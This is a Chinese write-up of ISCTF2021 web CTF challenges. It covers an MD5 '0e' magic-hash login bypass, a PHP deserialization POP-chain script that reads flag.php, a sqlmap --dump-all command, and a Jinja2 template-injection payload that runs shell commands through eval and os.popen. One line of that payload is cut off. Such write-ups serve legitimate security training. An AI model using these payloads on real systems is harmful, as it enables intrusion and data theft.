ISCTF2021

Web签到

题目提示需要查看源码直接抓包查看即可

或者修改url为view-source:http://challenge.imxbt.cn:31843/

view-source:的意思是查看源代码

即可查看源码Ctrl+U也可以,题目只是限制了F12

粗心的小蓝鲨

登录界面随便输入就会得到hint

复制代码
<?php
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $name=$_POST["username"]; 
        $pwd=$_POST["password"];
        $logined = true;
        $flag = 'XXXX';
        include("flag.php");
//检查是否通过 POST 方法提交了 username 和 password
        if (!ctype_alpha($name)) {$logined = false;}
//username 必须全部由 纯字母(A-Z, a-z)组成。如果包含数字、空格或特殊字符,登录失败
        if (!is_numeric($pwd) ) {$logined = false;}
//password 必须是一个 数字 或 数字字符串
        if (md5($name) != md5($pwd)) {$logined = false;}
//弱比较账号和密码的MD5值
        if ($logined){
            echo "<h1>"."login successful"."<p>".$flag;
        }else{
            echo "<h1>"."Login failed"."<p>"."The blue shark mocked you and threw a hint at you"."<p>";
            highlight_file(__FILE__);
        }
    }
?>

我们可以找两个个MD5值都是0e开头的字符串和数字字符串

复制代码
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

即可获取flag

pop_unserialize

复制代码
<?php
//flag.php
//MF师傅告诉我file_get_contents这个函数能输出flag.php里面的内容
error_reporting(0);
class MF_is_cat{
    private $pop = "f00001111";
    public $MF = "miao~ miao~ miao~";
    function __construct(){
        $this->pop =new ISCTF();
    }

    function __destruct(){
        $this->pop->action();
    }
}

class ISCTF{
    function action(){
        echo "Welcome to ISCTF World!";
    }
}

class Show{
    var $test2;
    function action(){
       echo file_get_contents('f'.$this->test2.'g.php');
    }
}


if(isset($_POST['ISCTF'])){
    unserialize($_POST['ISCTF']);
    }else{
    $obj = new MF_is_cat();
    highlight_file(__FILE__);
    }
?>  Welcome to ISCTF World!

<?php
class MF_is_cat{
private $pop = "f00001111";
public $MF = "miao~ miao~ miao~";
function __construct(){
$this->pop =new Show();
}
}
class Show{
public $test2="la";
function action(){
}
}
echo urlencode(serialize(new MF_is_cat()));
?>
//控制 MF_is_cat 类的 $pop 属性,使其成为一个 Show 类的对象
控制 Show 类的 $test2 属性,将其赋值为字符串 "la"
反序列化结束后,PHP 销毁 MF_is_cat 对象,触发 __destruct()
进而调用 Show->action(),执行 file_get_contents('flag.php')

easysql

存在报错注入

直接

复制代码
D:\web\sqlmap-master\sqlmap-master>python sqlmap.py -u "http://challenge.imxbt.cn:31390/login.php?username=admin&password=123" --dump-all

就可以了,就是有点慢

小蜘蛛

提示存在robots.txt

easy flask

看到提示直接查看全局

复制代码
/?id={% for c in ().__class__.__mro__[1].__su
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__=={}.__class__ %}
{% if 'eval' in b.keys() %}
{{b['eval']('__import__("os").popen("grep ISCTF *").read()')}}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

当然也可以直接找

拼图

拼好就给flag

相关推荐
2401_885885045 分钟前
巴林语音通知接口如何对接?系统告警语音API接入教程
android·前端·网络·python·语音识别
收纳过往38 分钟前
数据库加索引的时机:慢查询日志说话
android·开发语言·数据库·python·低代码·rxjava
狂热开发者2 小时前
车载中控要给鸿蒙用户,能不能和 Android 共用一个二维码?
android·华为·harmonyos
.Bryce.2 小时前
T2-LLM评测不等于Agent评测
android·java·人工智能·后端·gpt·agent·1024程序员节
美狐美颜SDK开放平台3 小时前
视频美颜SDK如何应对快速转头与大幅度面部动作?
android·人工智能·ios·音视频·直播美颜sdk·视频美颜sdk
2601_968900773 小时前
玻璃深加工的工艺窗口:4 道工序的温度与时间参数边界
android·java·javascript
好的佩奇014 小时前
Dart 之类修饰符
android·flutter·dart
YB13754 小时前
Jetpack Compose 动画Modifier.animateContentSize()
android
事圆则缓4 小时前
Android 版本号、API Level 和 JDK 版本有什么关系?
android
zhangguojia74 小时前
Android Activity 生命周期结束流程:从 finish() 到 onDestroy() 的跨进程状态调度
android